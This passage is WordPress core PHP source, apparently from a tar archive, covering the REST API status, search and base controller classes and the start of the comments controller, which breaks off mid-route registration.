		if ( in_array( 'private', $fields, true ) ) {
			$data['private'] = (bool) $status->private;
		}

		if ( in_array( 'protected', $fields, true ) ) {
			$data['protected'] = (bool) $status->protected;
		}

		if ( in_array( 'public', $fields, true ) ) {
			$data['public'] = (bool) $status->public;
		}

		if ( in_array( 'queryable', $fields, true ) ) {
			$data['queryable'] = (bool) $status->publicly_queryable;
		}

		if ( in_array( 'show_in_list', $fields, true ) ) {
			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $status->name;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( 'publish' === $status->name ) {
			$response->add_link( 'archives', rest_url( 'wp/v2/posts' ) );
		} else {
			$response->add_link( 'archives', add_query_arg( 'status', $status->name, rest_url( 'wp/v2/posts' ) ) );
		}

		/**
		 * Filters a status returned from the REST API.
		 *
		 * Allows modification of the status data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $status   The original status object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_status', $response, $status, $request );
	}

	/**
	 * Retrieves the post status' schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'              => 'http://json-schema.org/draft-04/schema#',
			'title'                => 'status',
			'type'                 => 'object',
			'properties'           => array(
				'name'             => array(
					'description'  => __( 'The title for the status.' ),
					'type'         => 'string',
					'context'      => array( 'embed', 'view', 'edit' ),
					'readonly'     => true,
				),
				'private'          => array(
					'description'  => __( 'Whether posts with this status should be private.' ),
					'type'         => 'boolean',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'protected'        => array(
					'description'  => __( 'Whether posts with this status should be protected.' ),
					'type'         => 'boolean',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'public'           => array(
					'description'  => __( 'Whether posts of this status should be shown in the front end of the site.' ),
					'type'         => 'boolean',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'queryable'        => array(
					'description'  => __( 'Whether posts with this status should be publicly-queryable.' ),
					'type'         => 'boolean',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'show_in_list'     => array(
					'description'  => __( 'Whether to include posts in the edit listing for their post type.' ),
					'type'         => 'boolean',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'slug'             => array(
					'description'  => __( 'An alphanumeric identifier for the status.' ),
					'type'         => 'string',
					'context'      => array( 'embed', 'view', 'edit' ),
					'readonly'     => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

}
endpoints/class-wp-rest-search-controller.php000066600000024014151114277720015424 0ustar00<?php
/**
 * REST API: WP_REST_Search_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class to search through all WordPress content via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Search_Controller extends WP_REST_Controller {

	/**
	 * ID property name.
	 */
	const PROP_ID = 'id';

	/**
	 * Title property name.
	 */
	const PROP_TITLE = 'title';

	/**
	 * URL property name.
	 */
	const PROP_URL = 'url';

	/**
	 * Type property name.
	 */
	const PROP_TYPE = 'type';

	/**
	 * Subtype property name.
	 */
	const PROP_SUBTYPE = 'subtype';

	/**
	 * Identifier for the 'any' type.
	 */
	const TYPE_ANY = 'any';

	/**
	 * Search handlers used by the controller.
	 *
	 * @since 5.0.0
	 * @var array
	 */
	protected $search_handlers = array();

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param array $search_handlers List of search handlers to use in the controller. Each search
	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
	 */
	public function __construct( array $search_handlers ) {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'search';

		foreach ( $search_handlers as $search_handler ) {
			if ( ! $search_handler instanceof WP_REST_Search_Handler ) {

				/* translators: %s: PHP class name */
				_doing_it_wrong( __METHOD__, sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ), '5.0.0' );
				continue;
			}

			$this->search_handlers[ $search_handler->get_type() ] = $search_handler;
		}
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permission_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to search content.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
	 */
	public function get_items_permission_check( $request ) {
		return true;
	}

	/**
	 * Retrieves a collection of search results.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		$result = $handler->search_items( $request );

		if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) {
			return new WP_Error( 'rest_search_handler_error', __( 'Internal search handler error.' ), array( 'status' => 500 ) );
		}

		$ids = array_map( 'absint', $result[ WP_REST_Search_Handler::RESULT_IDS ] );

		$results = array();
		foreach ( $ids as $id ) {
			$data      = $this->prepare_item_for_response( $id, $request );
			$results[] = $this->prepare_response_for_collection( $data );
		}

		$total     = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ];
		$page      = (int) $request['page'];
		$per_page  = (int) $request['per_page'];
		$max_pages = ceil( $total / $per_page );

		if ( $page > $max_pages && $total > 0 ) {
			return new WP_Error( 'rest_search_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
		}

		$response = rest_ensure_response( $results );
		$response->header( 'X-WP-Total', $total );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$base           = add_query_arg( $request_params, rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_link = add_query_arg( 'page', $page - 1, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $page < $max_pages ) {
			$next_link = add_query_arg( 'page', $page + 1, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares a single search result for response.
	 *
	 * @since 5.0.0
	 *
	 * @param int             $id      ID of the item to prepare.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $id, $request ) {
		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return new WP_REST_Response();
		}

		$fields = $this->get_fields_for_response( $request );

		$data = $handler->prepare_item( $id, $fields );
		$data = $this->add_additional_fields_to_object( $data, $request );

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$links               = $handler->prepare_item_links( $id );
		$links['collection'] = array(
			'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
		);
		$response->add_links( $links );

		return $response;
	}

	/**
	 * Retrieves the item schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$types    = array();
		$subtypes = array();
		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'search-result',
			'type'       => 'object',
			'properties' => array(
				self::PROP_ID      => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TITLE   => array(
					'description' => __( 'The title for the object.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_URL     => array(
					'description' => __( 'URL to the object.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TYPE    => array(
					'description' => __( 'Object type.' ),
					'type'        => 'string',
					'enum'        => $types,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_SUBTYPE => array(
					'description' => __( 'Object subtype.' ),
					'type'        => 'string',
					'enum'        => $subtypes,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for the search results collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$types    = array();
		$subtypes = array();
		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params[ self::PROP_TYPE ] = array(
			'default'     => $types[0],
			'description' => __( 'Limit results to items of an object type.' ),
			'type'        => 'string',
			'enum'        => $types,
		);

		$query_params[ self::PROP_SUBTYPE ] = array(
			'default'           => self::TYPE_ANY,
			'description'       => __( 'Limit results to items of one or more object subtypes.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_subtypes' ),
		);

		return $query_params;
	}

	/**
	 * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included.
	 *
	 * @since 5.0.0
	 *
	 * @param string|array    $subtypes  One or more subtypes.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Parameter name.
	 * @return array|WP_Error List of valid subtypes, or WP_Error object on failure.
	 */
	public function sanitize_subtypes( $subtypes, $request, $parameter ) {
		$subtypes = wp_parse_slug_list( $subtypes );

		$subtypes = rest_parse_request_arg( $subtypes, $request, $parameter );
		if ( is_wp_error( $subtypes ) ) {
			return $subtypes;
		}

		// 'any' overrides any other subtype.
		if ( in_array( self::TYPE_ANY, $subtypes, true ) ) {
			return array( self::TYPE_ANY );
		}

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		return array_intersect( $subtypes, $handler->get_subtypes() );
	}

	/**
	 * Gets the search handler to handle the current request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure.
	 */
	protected function get_search_handler( $request ) {
		$type = $request->get_param( self::PROP_TYPE );

		if ( ! $type || ! isset( $this->search_handlers[ $type ] ) ) {
			return new WP_Error( 'rest_search_invalid_type', __( 'Invalid type parameter.' ), array( 'status' => 400 ) );
		}

		return $this->search_handlers[ $type ];
	}
}
endpoints/class-wp-rest-controller.php000066600000045763151114277720014177 0ustar00<?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 */
	public function register_routes() {
		/* translators: %s: register_routes() */
		_doing_it_wrong( 'WP_REST_Controller::register_routes', sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ), '4.7' );
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|bool True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|bool True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|bool True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|bool True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|bool True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return WP_Error|object The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		/* translators: %s: method name */
		return new WP_Error( 'invalid-method', sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) );
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response->get_data();
		$server = rest_get_server();
		$links  = $server->get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $data    Response data to fiter.
	 * @param string $context Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $data, $context ) {

		$schema = $this->get_item_schema();

		foreach ( $data as $key => $value ) {
			if ( empty( $schema['properties'][ $key ] ) || empty( $schema['properties'][ $key ]['context'] ) ) {
				continue;
			}

			if ( ! in_array( $context, $schema['properties'][ $key ]['context'], true ) ) {
				unset( $data[ $key ] );
				continue;
			}

			if ( 'object' === $schema['properties'][ $key ]['type'] && ! empty( $schema['properties'][ $key ]['properties'] ) ) {
				foreach ( $schema['properties'][ $key ]['properties'] as $attribute => $details ) {
					if ( empty( $details['context'] ) ) {
						continue;
					}

					if ( ! in_array( $context, $details['context'], true ) ) {
						if ( isset( $data[ $key ][ $attribute ] ) ) {
							unset( $data[ $key ][ $attribute ] );
						}
					}
				}
			}
		}

		return $data;
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this->add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this->get_item_schema();

		foreach ( $schema['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'                => $this->get_context_param(),
			'page'                   => array(
				'description'        => __( 'Current page of the collection.' ),
				'type'               => 'integer',
				'default'            => 1,
				'sanitize_callback'  => 'absint',
				'validate_callback'  => 'rest_validate_request_arg',
				'minimum'            => 1,
			),
			'per_page'               => array(
				'description'        => __( 'Maximum number of items to be returned in result set.' ),
				'type'               => 'integer',
				'default'            => 10,
				'minimum'            => 1,
				'maximum'            => 100,
				'sanitize_callback'  => 'absint',
				'validate_callback'  => 'rest_validate_request_arg',
			),
			'search'                 => array(
				'description'        => __( 'Limit results to those matching a string.' ),
				'type'               => 'string',
				'sanitize_callback'  => 'sanitize_text_field',
				'validate_callback'  => 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'        => __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'               => 'string',
			'sanitize_callback'  => 'sanitize_key',
			'validate_callback'  => 'rest_validate_request_arg',
		);

		$schema = $this->get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $object  Data object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $object, $request ) {

		$additional_fields = $this->get_additional_fields();

		$requested_fields = $this->get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name => $field_options ) {

			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! in_array( $field_name, $requested_fields, true ) ) {
				continue;
			}

			$object[ $field_name ] = call_user_func( $field_options['get_callback'], $object, $field_name, $request, $this->get_object_type() );
		}

		return $object;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $object  Data Object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $object, $request ) {
		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func( $field_options['update_callback'], $request[ $field_name ], $object, $field_name, $request, $this->get_object_type() );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this->get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this->get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @param  string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type could
	 *               not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {

		if ( ! $object_type ) {
			$object_type = $this->get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		global $wp_rest_additional_fields;

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this->get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema = $this->get_item_schema();
		$fields = isset( $schema['properties'] ) ? array_keys( $schema['properties'] ) : array();

		$additional_fields = $this->get_additional_fields();
		foreach ( $additional_fields as $field_name => $field_options ) {
			// For back-compat, include any field with an empty schema
			// because it won't be present in $this->get_item_schema().
			if ( is_null( $field_options['schema'] ) ) {
				$fields[] = $field_name;
			}
		}

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = is_array( $request['_fields'] ) ? $request['_fields'] : preg_split( '/[\s,]+/', $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		return array_intersect( $fields, $requested_fields );
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {

		$schema            = $this->get_item_schema();
		$schema_properties = ! empty( $schema['properties'] ) ? $schema['properties'] : array();
		$endpoint_args     = array();

		foreach ( $schema_properties as $field_id => $params ) {

			// Arguments specified as `readonly` are not allowed to be set.
			if ( ! empty( $params['readonly'] ) ) {
				continue;
			}

			$endpoint_args[ $field_id ] = array(
				'validate_callback' => 'rest_validate_request_arg',
				'sanitize_callback' => 'rest_sanitize_request_arg',
			);

			if ( isset( $params['description'] ) ) {
				$endpoint_args[ $field_id ]['description'] = $params['description'];
			}

			if ( WP_REST_Server::CREATABLE === $method && isset( $params['default'] ) ) {
				$endpoint_args[ $field_id ]['default'] = $params['default'];
			}

			if ( WP_REST_Server::CREATABLE === $method && ! empty( $params['required'] ) ) {
				$endpoint_args[ $field_id ]['required'] = true;
			}

			foreach ( array( 'type', 'format', 'enum', 'items', 'properties', 'additionalProperties' ) as $schema_prop ) {
				if ( isset( $params[ $schema_prop ] ) ) {
					$endpoint_args[ $field_id ][ $schema_prop ] = $params[ $schema_prop ];
				}
			}

			// Merge in any options provided by the schema property.
			if ( isset( $params['arg_options'] ) ) {

				// Only use required / default from arg_options on CREATABLE endpoints.
				if ( WP_REST_Server::CREATABLE !== $method ) {
					$params['arg_options'] = array_diff_key( $params['arg_options'], array( 'required' => '', 'default' => '' ) );
				}

				$endpoint_args[ $field_id ] = array_merge( $endpoint_args[ $field_id ], $params['arg_options'] );
			}
		}

		return $endpoint_args;
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * @since 4.7.0
	 *
	 * @internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
endpoints/class-wp-rest-comments-controller.php000066600000153475151114277720016022 0ustar00<?php
/**
 * REST API: WP_REST_Comments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access comments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Comments_Controller extends WP_REST_Controller {

	/**
	 * Instance of a comment meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Comment_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'comments';

		$this->meta = new WP_REST_Comment_Meta_Fields();
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'   => WP_REST_Server::READABLE,
				'callback'  => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'      => $this->get_collection_params(),
			),
			array(
				'methods'  => WP_REST_Server::CREATABLE,
				'callback' => array( $this, 'create_item' ),
				'permission_callback' => array( $this, 'create_item_permissions_check' ),
				'args'     => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'id' => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'  => WP_REST_Server::READABLE,
				'callback' => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'     => array(
					'context'          => $this->get_context_param( array( 'default' => 'view' ) ),
					'password' => array(
						'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
						'type'        => 'string',
					),
				),
			),
			array(
				'methods'  => WP_REST_Server::EDITABLE,
